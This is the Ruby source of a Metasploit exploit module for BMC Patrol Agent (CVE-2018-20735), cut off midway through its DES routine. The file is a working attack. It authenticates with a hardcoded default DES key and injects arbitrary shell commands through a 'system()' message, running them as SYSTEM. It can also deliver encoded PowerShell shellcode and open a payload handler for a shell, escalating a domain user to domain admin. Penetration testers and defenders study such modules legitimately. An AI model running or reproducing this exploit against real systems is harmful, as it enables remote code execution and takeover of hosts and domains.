1133 lines
No EOL
32 KiB
Ruby
Executable file
1133 lines
No EOL
32 KiB
Ruby
Executable file
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
require 'zlib'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Exploit::Powershell
|
|
|
|
@deflater = nil
|
|
@inflater = nil
|
|
|
|
SBOXES = [
|
|
0x20022000, 0x20000000, 0x0, 0x20022000, 0x0, 0x20022000, 0x20000000, 0x0, 0x20022000,
|
|
0x20022000, 0x20000000, 0x22000, 0x22000, 0x0, 0x0, 0x20000000, 0x20000000, 0x0,
|
|
0x22000, 0x20022000, 0x20022000, 0x20000000, 0x22000, 0x22000, 0x0, 0x22000,
|
|
0x20022000, 0x20000000, 0x22000, 0x22000, 0x20000000, 0x0, 0x0, 0x20022000, 0x22000,
|
|
0x20000000, 0x20022000, 0x20000000, 0x22000, 0x22000, 0x20000000, 0x22000,
|
|
0x20022000, 0x0, 0x20022000, 0x0, 0x0, 0x20000000, 0x20022000, 0x20022000, 0x20000000,
|
|
0x22000, 0x0, 0x22000, 0x20000000, 0x0, 0x20000000, 0x0, 0x22000, 0x20022000, 0x0,
|
|
0x20000000, 0x22000, 0x20022000, 0x802, 0x2, 0x8000800, 0x8000802, 0x800, 0x8000002,
|
|
0x8000002, 0x8000800, 0x8000002, 0x802, 0x802, 0x8000000, 0x8000800, 0x800,
|
|
0x0, 0x8000002, 0x2, 0x8000000, 0x800, 0x2, 0x8000802, 0x802, 0x8000000, 0x800, 0x8000000,
|
|
0x0, 0x2, 0x8000802, 0x0, 0x8000800, 0x8000802, 0x0, 0x0, 0x8000802, 0x800, 0x8000002,
|
|
0x802, 0x2, 0x8000000, 0x800, 0x8000802, 0x0, 0x2, 0x8000800, 0x8000002, 0x8000000,
|
|
0x8000800, 0x802, 0x8000802, 0x2, 0x802, 0x8000800, 0x800, 0x8000000, 0x8000002,
|
|
0x0, 0x2, 0x800, 0x8000800, 0x802, 0x8000000, 0x8000802, 0x0, 0x8000002, 0x2200004,
|
|
0x0, 0x2200000, 0x0, 0x4, 0x2200004, 0x2200000, 0x2200000, 0x2200000, 0x4, 0x4, 0x2200000,
|
|
0x4, 0x2200000, 0x0, 0x4, 0x0, 0x2200004, 0x4, 0x2200000, 0x2200004, 0x0, 0x0, 0x4, 0x2200004,
|
|
0x2200004, 0x2200000, 0x4, 0x0, 0x0, 0x2200004, 0x2200004, 0x4, 0x2200000, 0x2200000,
|
|
0x2200004, 0x2200004, 0x4, 0x4, 0x0, 0x0, 0x2200004, 0x0, 0x4, 0x2200000, 0x0, 0x2200004,
|
|
0x2200004, 0x2200000, 0x2200000, 0x0, 0x4, 0x4, 0x2200004, 0x2200000, 0x0, 0x4, 0x0,
|
|
0x2200004, 0x2200000, 0x2200004, 0x4, 0x0, 0x2200000, 0x1100004, 0x0, 0x4, 0x1100004,
|
|
0x1100000, 0x0, 0x1100000, 0x4, 0x0, 0x1100004, 0x0, 0x1100000, 0x4, 0x1100004, 0x1100004,
|
|
0x0, 0x4, 0x1100000, 0x1100004, 0x0, 0x4, 0x1100000, 0x0, 0x4, 0x1100000, 0x4, 0x1100004,
|
|
0x1100000, 0x1100000, 0x4, 0x0, 0x1100004, 0x4, 0x1100004, 0x1100000, 0x4, 0x1100004,
|
|
0x4, 0x1100000, 0x0, 0x1100000, 0x0, 0x4, 0x1100004, 0x0, 0x1100000, 0x4, 0x1100000,
|
|
0x1100004, 0x0, 0x0, 0x1100000, 0x0, 0x1100004, 0x4, 0x1100004, 0x1100004, 0x4, 0x0,
|
|
0x1100000, 0x1100000, 0x0, 0x1100004, 0x4, 0x0, 0x10000400, 0x400, 0x400, 0x10000000,
|
|
0x0, 0x400, 0x10000400, 0x400, 0x10000000, 0x10000000, 0x0, 0x10000400, 0x400,
|
|
0x0, 0x10000000, 0x0, 0x10000000, 0x10000400, 0x400, 0x400, 0x10000400, 0x10000000,
|
|
0x0, 0x10000000, 0x400, 0x10000400, 0x10000000, 0x10000400, 0x0, 0x0, 0x10000400,
|
|
0x10000400, 0x400, 0x0, 0x10000000, 0x400, 0x10000000, 0x10000000, 0x400, 0x0,
|
|
0x10000400, 0x10000400, 0x10000000, 0x10000000, 0x0, 0x10000400, 0x0, 0x10000400,
|
|
0x0, 0x0, 0x10000400, 0x10000000, 0x400, 0x400, 0x10000400, 0x400, 0x0, 0x10000000,
|
|
0x400, 0x0, 0x10000400, 0x400, 0x10000000, 0x4011000, 0x11001, 0x0, 0x4011000,
|
|
0x4000001, 0x11000, 0x4011000, 0x1, 0x11000, 0x1, 0x11001, 0x4000000, 0x4011001,
|
|
0x4000000, 0x4000000, 0x4011001, 0x0, 0x4000001, 0x11001, 0x0, 0x4000000, 0x4011001,
|
|
0x1, 0x4011000, 0x4011001, 0x11000, 0x4000001, 0x11001, 0x1, 0x0, 0x11000, 0x4000001,
|
|
0x11001, 0x0, 0x4000000, 0x1, 0x4000000, 0x4000001, 0x11001, 0x4011000, 0x0, 0x11001,
|
|
0x1, 0x4011001, 0x4000001, 0x11000, 0x4011001, 0x4000000, 0x4000001, 0x4011000,
|
|
0x11000, 0x4011001, 0x1, 0x11000, 0x4011000, 0x1, 0x11000, 0x0, 0x4011001, 0x4000000,
|
|
0x4011000, 0x4000001, 0x0, 0x11001, 0x40002, 0x40000, 0x2, 0x40002, 0x0, 0x0, 0x40002,
|
|
0x2, 0x40000, 0x2, 0x0, 0x40002, 0x2, 0x40002, 0x0, 0x0, 0x2, 0x40000, 0x40000, 0x2, 0x40000,
|
|
0x40002, 0x0, 0x40000, 0x40002, 0x0, 0x2, 0x40000, 0x40000, 0x2, 0x40002, 0x0, 0x2, 0x40002,
|
|
0x0, 0x2, 0x40000, 0x40000, 0x2, 0x0, 0x40002, 0x0, 0x40000, 0x2, 0x0, 0x2, 0x40000, 0x40000,
|
|
0x0, 0x40002, 0x40002, 0x0, 0x40002, 0x2, 0x40000, 0x40002, 0x2, 0x40000, 0x0, 0x40002,
|
|
0x40002, 0x0, 0x2, 0x40000, 0x20000110, 0x40000, 0x20000000, 0x20040110, 0x0, 0x40110,
|
|
0x20040000, 0x20000110, 0x40110, 0x20040000, 0x40000, 0x20000000, 0x20040000,
|
|
0x20000110, 0x110, 0x40000, 0x20040110, 0x110, 0x0, 0x20000000, 0x110, 0x20040000,
|
|
0x40110, 0x0, 0x20000000, 0x0, 0x20000110, 0x40110, 0x40000, 0x20040110, 0x20040110,
|
|
0x110, 0x20040110, 0x20000000, 0x110, 0x20040000, 0x110, 0x40000, 0x20000000,
|
|
0x40110, 0x20040000, 0x0, 0x0, 0x20000110, 0x0, 0x20040110, 0x40110, 0x0, 0x40000,
|
|
0x20040110, 0x20000110, 0x110, 0x20040110, 0x20000000, 0x40000, 0x20000110,
|
|
0x20000110, 0x110, 0x40110, 0x20040000, 0x20000000, 0x40000, 0x20040000, 0x40110,
|
|
0x0, 0x4000000, 0x11000, 0x4011008, 0x4000008, 0x11000, 0x4011008, 0x4000000,
|
|
0x4000000, 0x8, 0x8, 0x4011000, 0x11008, 0x4000008, 0x4011000, 0x0, 0x4011000, 0x0,
|
|
0x4000008, 0x11008, 0x11000, 0x4011008, 0x0, 0x8, 0x8, 0x11008, 0x4011008, 0x4000008,
|
|
0x4000000, 0x11000, 0x11008, 0x4011000, 0x4011000, 0x11008, 0x4000008, 0x4000000,
|
|
0x4000000, 0x8, 0x8, 0x11000, 0x0, 0x4011000, 0x4011008, 0x0, 0x4011008, 0x0, 0x11000,
|
|
0x4000008, 0x11008, 0x11000, 0x0, 0x4011008, 0x4000008, 0x4011000, 0x11008, 0x4000000,
|
|
0x4011000, 0x4000008, 0x11000, 0x11008, 0x8, 0x4011008, 0x4000000, 0x8, 0x22000,
|
|
0x0, 0x0, 0x22000, 0x22000, 0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x22000, 0x22000,
|
|
0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x22000, 0x22000,
|
|
0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000, 0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000,
|
|
0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000,
|
|
0x22000, 0x0, 0x0, 0x0, 0x22000, 0x22000, 0x0, 0x0, 0x0, 0x22000, 0x22000, 0x110, 0x110,
|
|
0x0, 0x80000, 0x110, 0x80000, 0x80110, 0x0, 0x80110, 0x80110, 0x80000, 0x0, 0x80000,
|
|
0x110, 0x0, 0x80110, 0x0, 0x80110, 0x110, 0x0, 0x80000, 0x110, 0x80000, 0x110, 0x80110,
|
|
0x0, 0x0, 0x80110, 0x110, 0x80000, 0x80110, 0x80000, 0x80110, 0x0, 0x80000, 0x80110,
|
|
0x80000, 0x110, 0x0, 0x80000, 0x0, 0x80000, 0x110, 0x0, 0x110, 0x80110, 0x80000, 0x110,
|
|
0x80110, 0x80000, 0x0, 0x80110, 0x110, 0x0, 0x80110, 0x0, 0x80000, 0x110, 0x80110,
|
|
0x80000, 0x0, 0x80110, 0x110, 0x110, 0x2200000, 0x8, 0x0, 0x2200008, 0x8, 0x0, 0x2200000,
|
|
0x8, 0x0, 0x2200008, 0x8, 0x2200000, 0x2200000, 0x2200000, 0x2200008, 0x8, 0x8, 0x2200000,
|
|
0x2200008, 0x0, 0x0, 0x0, 0x2200008, 0x2200008, 0x2200008, 0x2200008, 0x2200000,
|
|
0x0, 0x0, 0x8, 0x8, 0x2200000, 0x0, 0x2200000, 0x2200000, 0x8, 0x2200008, 0x8, 0x0, 0x2200000,
|
|
0x2200000, 0x0, 0x2200008, 0x8, 0x8, 0x2200008, 0x8, 0x0, 0x2200008, 0x8, 0x8, 0x2200000,
|
|
0x2200000, 0x2200008, 0x8, 0x0, 0x0, 0x2200000, 0x2200000, 0x2200008, 0x2200008,
|
|
0x0, 0x0, 0x2200008, 0x1100000, 0x800, 0x800, 0x1, 0x1100801, 0x1100001, 0x1100800,
|
|
0x0, 0x0, 0x801, 0x801, 0x1100000, 0x1, 0x1100800, 0x1100000, 0x801, 0x801, 0x1100000,
|
|
0x1100001, 0x1100801, 0x0, 0x800, 0x1, 0x1100800, 0x1100001, 0x1100801, 0x1100800,
|
|
0x1, 0x1100801, 0x1100001, 0x800, 0x0, 0x1100801, 0x1100000, 0x1100001, 0x801,
|
|
0x1100000, 0x800, 0x0, 0x1100001, 0x801, 0x1100801, 0x1100800, 0x0, 0x800, 0x1, 0x1,
|
|
0x800, 0x0, 0x801, 0x800, 0x1100800, 0x801, 0x1100000, 0x1100801, 0x0, 0x1100800,
|
|
0x1, 0x1100001, 0x1100801, 0x1, 0x1100800, 0x1100000, 0x1100001, 0x0, 0x0, 0x400,
|
|
0x10000400, 0x10000400, 0x10000000, 0x0, 0x0, 0x400, 0x10000400, 0x10000000, 0x400,
|
|
0x10000000, 0x400, 0x400, 0x10000000, 0x10000400, 0x0, 0x10000000, 0x10000400,
|
|
0x0, 0x400, 0x10000400, 0x0, 0x10000400, 0x10000000, 0x400, 0x10000000, 0x10000000,
|
|
0x10000400, 0x0, 0x400, 0x10000000, 0x400, 0x10000400, 0x10000000, 0x0, 0x0, 0x400,
|
|
0x10000400, 0x10000400, 0x10000000, 0x0, 0x0, 0x0, 0x10000400, 0x10000000, 0x400,
|
|
0x0, 0x10000400, 0x400, 0x0, 0x10000000, 0x0, 0x10000400, 0x400, 0x400, 0x10000000,
|
|
0x10000000, 0x10000400, 0x10000400, 0x400, 0x400, 0x10000000, 0x220, 0x8000000,
|
|
0x8000220, 0x0, 0x8000000, 0x220, 0x0, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000220,
|
|
0x8000220, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000220, 0x220, 0x8000000, 0x8000220,
|
|
0x220, 0x0, 0x8000000, 0x0, 0x0, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000000, 0x220,
|
|
0x0, 0x8000000, 0x220, 0x8000220, 0x8000220, 0x0, 0x0, 0x8000000, 0x220, 0x8000220,
|
|
0x8000000, 0x220, 0x8000000, 0x220, 0x220, 0x8000000, 0x8000220, 0x0, 0x0, 0x220,
|
|
0x8000000, 0x8000220, 0x8000220, 0x0, 0x220, 0x8000000, 0x8000220, 0x0, 0x0, 0x220,
|
|
0x8000000, 0x8000220, 0x80220, 0x80220, 0x0, 0x0, 0x80000, 0x220, 0x80220, 0x80220,
|
|
0x0, 0x80000, 0x220, 0x0, 0x220, 0x80000, 0x80000, 0x80220, 0x0, 0x220, 0x220, 0x80000,
|
|
0x80220, 0x80000, 0x0, 0x220, 0x80000, 0x220, 0x80000, 0x80220, 0x220, 0x0, 0x80220,
|
|
0x0, 0x220, 0x0, 0x80000, 0x80220, 0x0, 0x80000, 0x0, 0x220, 0x80220, 0x80000, 0x80000,
|
|
0x220, 0x80220, 0x0, 0x220, 0x80000, 0x80220, 0x220, 0x80220, 0x80000, 0x220, 0x0,
|
|
0x80000, 0x80220, 0x0, 0x80220, 0x220, 0x0, 0x80000, 0x80220, 0x0, 0x220
|
|
].freeze
|
|
|
|
PC1 = "\x38\x30\x28\x20\x18\x10\x8\x0\x39\x31\x29\x21\x19\x11\x9"\
|
|
"\x1\x3A\x32\x2A\x22\x1A\x12\x0A\x2\x3B\x33\x2B\x23\x3E\x36"\
|
|
"\x2E\x26\x1E\x16\x0E\x6\x3D\x35\x2D\x25\x1D\x15\x0D\x5\x3C"\
|
|
"\x34\x2C\x24\x1C\x14\x0C\x4\x1B\x13\x0B\x3\x0\x0\x0\x0\x0\x0\x0\x0".freeze
|
|
|
|
PC2 = "\x0D\x10\x0A\x17\x0\x4\x2\x1B\x0E\x5\x14\x9\x16\x12\x0B\x3"\
|
|
"\x19\x7\x0F\x6\x1A\x13\x0C\x1\x28\x33\x1E\x24\x2E\x36\x1D"\
|
|
"\x27\x32\x2C\x20\x2F\x2B\x30\x26\x37\x21\x34\x2D\x29\x31"\
|
|
"\x23\x1C\x1F".freeze
|
|
|
|
SBOX_BYTE_ORDER = [
|
|
1, 2, 4, 8, 0x10, 0x20, 0x40, 0x80, 0x100, 0x200, 0x400, 0x800, 0x1000, 0x2000,
|
|
0x4000, 0x8000, 0x10000, 0x20000, 0x40000, 0x80000, 0x100000, 0x200000, 0x400000,
|
|
0x800000, 0x1000000, 0x2000000, 0x4000000, 0x8000000, 0x10000000, 0x20000000,
|
|
0x40000000, 0x80000000
|
|
].freeze
|
|
|
|
ROTATIONS = "\x1\x1\x2\x2\x2\x2\x2\x2\x1\x2\x2\x2\x2\x2\x2\x1".freeze
|
|
INIT_DES_KEY_0 = "\x9a\xd3\xbc\x24\x10\xe2\x8f\x0e".freeze
|
|
INIT_DES_KEY_1 = "\xe2\x95\x14\x33\x59\xc3\xec\xa8".freeze
|
|
|
|
DES_ENCRYPT = 0
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'BMC Patrol Agent Privilege Escalation Cmd Execution',
|
|
'Description' => %q(
|
|
This module leverages the remote command execution feature provided by
|
|
the BMC Patrol Agent software. It can also be used to escalate privileges
|
|
on Windows hosts as the software runs as SYSTEM but only verfies that the password
|
|
of the provided user is correct. This also means if the software is running on a
|
|
domain controller, it can be used to escalate from a normal domain user to domain
|
|
admin as SYSTEM on a DC is DA. **WARNING** The windows version of this exploit uses
|
|
powershell to execute the payload. The powershell version tends to timeout on
|
|
the first run so it may take multiple tries.
|
|
),
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'b0yd' # @rwincey / Vulnerability Discovery and MSF module author
|
|
],
|
|
'References' =>
|
|
[
|
|
['CVE', '2018-20735'],
|
|
['URL', 'https://www.securifera.com/blog/2018/12/17/bmc-patrol-agent-domain-user-to-domain-admin/']
|
|
],
|
|
'Platform' => ['win', 'linux'],
|
|
'Targets' =>
|
|
[
|
|
[
|
|
'Windows Powershell Injected Shellcode', {
|
|
'Platform' => 'win'
|
|
}
|
|
],
|
|
[
|
|
'Generic Command Callback', {
|
|
'Arch' => ARCH_CMD,
|
|
'Platform' => %w[linux unix win]
|
|
}
|
|
]
|
|
],
|
|
'Privileged' => true,
|
|
'DefaultTarget' => 0,
|
|
'DefaultOptions' => {
|
|
'DisablePayloadHandler' => true
|
|
},
|
|
'DisclosureDate' => 'Jan 17 2019'))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(3181),
|
|
OptString.new('USER', [true, 'local or domain user to authenticate with patrol', 'patrol']),
|
|
OptString.new('PASSWORD', [true, 'password to authenticate with patrol', 'password']),
|
|
OptString.new('CMD', [false, 'command to run on the target. If this option is specified the payload will be ignored.'])
|
|
]
|
|
)
|
|
|
|
end
|
|
|
|
def cleanup
|
|
disconnect
|
|
print_status("Disconnected from BMC Patrol Agent.")
|
|
@inflater.close
|
|
@deflater.close
|
|
super
|
|
end
|
|
|
|
def get_target_os(srv_info_msg)
|
|
lines = srv_info_msg.split("\n")
|
|
fail_with(Failure::UnexpectedReply, "Invalid server info msg.") if lines[0] != "MS" && lines[1] != "{" && lines[-1] != "}"
|
|
|
|
os = nil
|
|
ver = nil
|
|
lines[2..-2].each do |i|
|
|
val = i.split("=")
|
|
if val.length == 2
|
|
if val[0].strip! == "T"
|
|
os = val[1]
|
|
elsif val[0].strip! == "VER"
|
|
ver = val[1]
|
|
end
|
|
end
|
|
end
|
|
[os, ver]
|
|
end
|
|
|
|
def get_cmd_output(cmd_output_msg)
|
|
|
|
lines = cmd_output_msg.split("\n")
|
|
fail_with(Failure::UnexpectedReply, "Invalid command output msg.") if lines[0] != "PEM_MSG" && lines[1] != "{" && lines[-1] != "}"
|
|
|
|
# Parse out command results
|
|
idx_start = cmd_output_msg.index("Result\x00")
|
|
idx_end = cmd_output_msg.index("RemPsl_user")
|
|
output = cmd_output_msg[idx_start + 7..idx_end - 1]
|
|
|
|
output
|
|
end
|
|
|
|
def exploit
|
|
|
|
# Manually start the handler if not running a single command
|
|
if datastore['CMD'].nil? || datastore['CMD'].empty?
|
|
|
|
# Set to nil if the cmd is empty for checks further down
|
|
datastore['CMD'] = nil
|
|
datastore['DisablePayloadHandler'] = false
|
|
|
|
# Configure the payload handler
|
|
payload_instance.exploit_config = {
|
|
'active_timeout' => 300
|
|
}
|
|
# Setup the payload handler
|
|
payload_instance.setup_handler
|
|
|
|
# Start the payload handler
|
|
payload_instance.start_handler
|
|
|
|
end
|
|
|
|
# Initialize zlib objects
|
|
@deflater = Zlib::Deflate.new(4, 15, Zlib::MAX_MEM_LEVEL, Zlib::DEFAULT_STRATEGY)
|
|
@inflater = Zlib::Inflate.new
|
|
|
|
# Connect to the BMC Patrol Agent
|
|
connect
|
|
print_status("Connected to BMC Patrol Agent.")
|
|
|
|
# Create session msg
|
|
create_session
|
|
ret_data = receive_msg
|
|
fail_with(Failure::UnexpectedReply, "Failed to receive session confirmation. Aborting.") if ret_data.nil?
|
|
|
|
# Authenticate
|
|
authenticate_user(datastore['USER'], datastore['PASSWORD'])
|
|
|
|
# Receive the authentication response
|
|
ret_data = receive_msg
|
|
fail_with(Failure::UnexpectedReply, "Failed to receive authentication response. Aborting.") if ret_data.nil?
|
|
|
|
ret_msg = process_response(ret_data)
|
|
if ret_msg =~ /logged in/
|
|
print_status("Successfully authenticated user.")
|
|
else
|
|
fail_with(Failure::UnexpectedReply, "Login failed. Aborting.")
|
|
end
|
|
|
|
# Receive the server info
|
|
ret_data = receive_msg
|
|
fail_with(Failure::UnexpectedReply, "Failed to receive server info msg. Aborting.") if ret_data.nil?
|
|
srv_info = process_response(ret_data)
|
|
|
|
# Get the target's OS from their info msg
|
|
target_os = get_target_os(srv_info)
|
|
|
|
# When using autotargeting, MSF selects the Windows meterpreter as the default payload.
|
|
# Fail if this is the case and ask the user to select an appropriate payload.
|
|
if target_os[0] == 'Linux' && payload_instance.name =~ /Windows/ && datastore['CMD'].nil?
|
|
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
|
|
end
|
|
|
|
target_name = target.name
|
|
if !datastore['CMD'].nil?
|
|
command = datastore['CMD'].tr('"', '\"')
|
|
print_status("Command to execute: #{command}")
|
|
elsif target_name == 'Windows Powershell Injected Shellcode'
|
|
# Get encoded powershell of payload
|
|
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, method: 'reflection')
|
|
else
|
|
command = payload.raw.tr('"', '\"')
|
|
end
|
|
|
|
# Run command
|
|
run_cmd(command)
|
|
|
|
# Receive command confirmation
|
|
ret_data = receive_msg
|
|
if !ret_data.nil?
|
|
process_response(ret_data)
|
|
end
|
|
|
|
# Receive command output
|
|
ret_data = receive_msg
|
|
if !ret_data.nil? && !datastore['CMD'].nil?
|
|
cmd_result_data = process_response(ret_data)
|
|
cmd_result = get_cmd_output(cmd_result_data)
|
|
print_status("Output:\n#{cmd_result}")
|
|
end
|
|
|
|
# Handle the shell
|
|
handler
|
|
|
|
end
|
|
|
|
def receive_msg
|
|
|
|
header = sock.get_once(6)
|
|
if header.nil?
|
|
return
|
|
end
|
|
|
|
payload_size_arr = header[0, 4]
|
|
payload_size = payload_size_arr.unpack1("N")
|
|
payload = ''
|
|
if payload_size > 0
|
|
payload = sock.get_once(payload_size)
|
|
if payload.nil?
|
|
return
|
|
end
|
|
end
|
|
|
|
return header + payload
|
|
|
|
end
|
|
|
|
def send_msg(type, compression, data)
|
|
|
|
data_len = data.length
|
|
buf = [data_len].pack('N')
|
|
|
|
# Set the type
|
|
buf += [type].pack('C')
|
|
|
|
# Set compression flag
|
|
buf += [compression].pack('C')
|
|
|
|
# Add data
|
|
buf += data
|
|
|
|
# Send msg
|
|
sock.put(buf)
|
|
|
|
end
|
|
|
|
def process_response(ret_data)
|
|
|
|
# While style checks complain, I intend to leave this parsing
|
|
# in place for debugging purposes
|
|
ret_size_arr = ret_data[0, 4]
|
|
ret_size = ret_size_arr.unpack1("N") # rubocop:disable Lint/UselessAssignment
|
|
|
|
msg_type = ret_data[4, 1] # rubocop:disable Lint/UselessAssignment
|
|
comp_flag = ret_data[5, 1]
|
|
|
|
payload_data = ret_data[6..-1]
|
|
if comp_flag == "\x00"
|
|
bin_data = payload_data.unpack1("H*") # rubocop:disable Lint/UselessAssignment
|
|
payload_data = @inflater.inflate(payload_data)
|
|
end
|
|
|
|
return payload_data
|
|
|
|
end
|
|
|
|
def run_cmd(cmd)
|
|
|
|
user_num = rand 1000..9999
|
|
msg_1 = %(R_E
|
|
{
|
|
\tRE_ID=1
|
|
\tRE_PDESC=0\tRemPsl\tsystem("#{cmd}");\tRemPsl_user_#{user_num}
|
|
\tRE_ORG=PemApi
|
|
\tRE_SEV=1
|
|
\tRE_NSEV=5
|
|
\tRE_ST=
|
|
}
|
|
)
|
|
|
|
msg_1 += "\x00"
|
|
# Compress the message
|
|
comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH
|
|
send_msg(0x44, 0x0, comp_data)
|
|
|
|
end
|
|
|
|
def identify(user)
|
|
|
|
inner_len = 15
|
|
msg_type = 8
|
|
len_str = [inner_len].pack("N")
|
|
msg_str = [msg_type].pack("N")
|
|
msg_1 = %(PEM_MSG
|
|
{
|
|
\tNSDL=#{inner_len}
|
|
\tPEM_DGRAM=#{len_str}#{msg_str}#{user}\x00
|
|
}
|
|
)
|
|
msg_1 += "\x00"
|
|
print_status("Msg: #{msg_1}")
|
|
bin_data = msg_1.unpack1("H*") # rubocop:disable Lint/UselessAssignment
|
|
# Compress the message
|
|
comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH
|
|
send_msg(0x44, 0x0, comp_data)
|
|
|
|
end
|
|
|
|
def create_session
|
|
sess_msg = "\x00\x00\x00\x00\x00\x00\x00\x00\x05\x02\x00\x04\x02\x04\x03\x10\x00\x00\x03\x04\x00\x00\x00\x00\x01\x01\x04\x00\xff\x00\x00\x00"
|
|
sess_msg += "\x00" * 0x68
|
|
send_msg(0x45, 0x2, sess_msg)
|
|
end
|
|
|
|
def authenticate_user(user, password)
|
|
# Default encryption key
|
|
enc_key = 'k$C4}@"_'
|
|
output_data = des_crypt_func(password, enc_key, DES_ENCRYPT)
|
|
# Convert to hex string
|
|
encrpted_pw = output_data.unpack1("H*")
|
|
des_pw = encrpted_pw.upcase
|
|
|
|
msg_1 = %(ID
|
|
{
|
|
\tHOST=user
|
|
\tUSER=#{user}
|
|
\tPASS=#{des_pw}
|
|
\tVER=V9.6.00
|
|
\tT=PEMAPI
|
|
\tHTBT=1
|
|
\tTMOT=1728000
|
|
\tRTRS=3
|
|
}
|
|
)
|
|
|
|
msg_1 += "\x00"
|
|
comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH
|
|
send_msg(0x44, 0x0, comp_data)
|
|
|
|
end
|
|
|
|
def rotate_block_init(input_block_tuple)
|
|
|
|
v6 = 0
|
|
v5 = 0
|
|
input_block_tuple = input_block_tuple.pack("V*").unpack("i*")
|
|
v3 = input_block_tuple[0]
|
|
v4 = input_block_tuple[1]
|
|
|
|
if (v4 & 0x2000000) != 0
|
|
v5 = 1
|
|
end
|
|
if (v4 & 0x20000) != 0
|
|
v5 |= 2
|
|
end
|
|
if (v4 & 0x200) != 0
|
|
v5 |= 4
|
|
end
|
|
if (v4 & 2) != 0
|
|
v5 |= 8
|
|
end
|
|
if (v3 & 0x2000000) != 0
|
|
v5 |= 0x10
|
|
end
|
|
if (v3 & 0x20000) != 0
|
|
v5 |= 0x20
|
|
end
|
|
if (v3 & 0x200) != 0
|
|
v5 |= 0x40
|
|
end
|
|
if (v3 & 2) != 0
|
|
v5 |= 0x80
|
|
end
|
|
if (v4 & 0x8000000) != 0
|
|
v5 |= 0x100
|
|
end
|
|
if (v4 & 0x80000) != 0
|
|
v5 |= 0x200
|
|
end
|
|
if (v4 & 0x800) != 0
|
|
v5 |= 0x400
|
|
end
|
|
if (v4 & 8) != 0
|
|
v5 |= 0x800
|
|
end
|
|
if (v3 & 0x8000000) != 0
|
|
v5 |= 0x1000
|
|
end
|
|
if (v3 & 0x80000) != 0
|
|
v5 |= 0x2000
|
|
end
|
|
if (v3 & 0x800) != 0
|
|
v5 |= 0x4000
|
|
end
|
|
if (v3 & 8) != 0
|
|
v5 |= 0x8000
|
|
end
|
|
if (v4 & 0x20000000) != 0
|
|
v5 |= 0x10000
|
|
end
|
|
if (v4 & 0x200000) != 0
|
|
v5 |= 0x20000
|
|
end
|
|
if (v4 & 0x2000) != 0
|
|
v5 |= 0x40000
|
|
end
|
|
if (v4 & 0x20) != 0
|
|
v5 |= 0x80000
|
|
end
|
|
if (v3 & 0x20000000) != 0
|
|
v5 |= 0x100000
|
|
end
|
|
if (v3 & 0x200000) != 0
|
|
v5 |= 0x200000
|
|
end
|
|
if (v3 & 0x2000) != 0
|
|
v5 |= 0x400000
|
|
end
|
|
if (v3 & 0x20) != 0
|
|
v5 |= 0x800000
|
|
end
|
|
if (v4 < 0)
|
|
v5 |= 0x1000000
|
|
end
|
|
if (v4 & 0x800000) != 0
|
|
v5 |= 0x2000000
|
|
end
|
|
if (v4 & 0x8000) != 0
|
|
v5 |= 0x4000000
|
|
end
|
|
if (v4 & 0x80) != 0
|
|
v5 |= 0x8000000
|
|
end
|
|
if (v3 < 0)
|
|
v5 |= 0x10000000
|
|
end
|
|
if (v3 & 0x800000) != 0
|
|
v5 |= 0x20000000
|
|
end
|
|
if (v3 & 0x8000) != 0
|
|
v5 |= 0x40000000
|
|
end
|
|
if (v3 & 0x80) != 0
|
|
v5 |= 0x80000000
|
|
end
|
|
if (v4 & 0x1000000) != 0
|
|
v6 = 1
|
|
end
|
|
if (v4 & 0x10000) != 0
|
|
v6 |= 2
|
|
end
|
|
if (v4 & 0x100) != 0
|
|
v6 |= 4
|
|
end
|
|
if (v4 & 1) != 0
|
|
v6 |= 8
|
|
end
|
|
if (v3 & 0x1000000) != 0
|
|
v6 |= 0x10
|
|
end
|
|
if (v3 & 0x10000) != 0
|
|
v6 |= 0x20
|
|
end
|
|
if (v3 & 0x100) != 0
|
|
v6 |= 0x40
|
|
end
|
|
if (v3 & 1) != 0
|
|
v6 |= 0x80
|
|
end
|
|
if (v4 & 0x4000000) != 0
|
|
v6 |= 0x100
|
|
end
|
|
if (v4 & 0x40000) != 0
|
|
v6 |= 0x200
|
|
end
|
|
if (v4 & 0x400) != 0
|
|
v6 |= 0x400
|
|
end
|
|
if (v4 & 4) != 0
|
|
v6 |= 0x800
|
|
end
|
|
if (v3 & 0x4000000) != 0
|
|
v6 |= 0x1000
|
|
end
|
|
if (v3 & 0x40000) != 0
|
|
v6 |= 0x2000
|
|
end
|
|
if (v3 & 0x400) != 0
|
|
v6 |= 0x4000
|
|
end
|
|
if (v3 & 4) != 0
|
|
v6 |= 0x8000
|
|
end
|
|
if (v4 & 0x10000000) != 0
|
|
v6 |= 0x10000
|
|
end
|
|
if (v4 & 0x100000) != 0
|
|
v6 |= 0x20000
|
|
end
|
|
if (v4 & 0x1000) != 0
|
|
v6 |= 0x40000
|
|
end
|
|
if (v4 & 0x10) != 0
|
|
v6 |= 0x80000
|
|
end
|
|
if (v3 & 0x10000000) != 0
|
|
v6 |= 0x100000
|
|
end
|
|
if (v3 & 0x100000) != 0
|
|
v6 |= 0x200000
|
|
end
|
|
if (v3 & 0x1000) != 0
|
|
v6 |= 0x400000
|
|
end
|
|
if (v3 & 0x10) != 0
|
|
v6 |= 0x800000
|
|
end
|
|
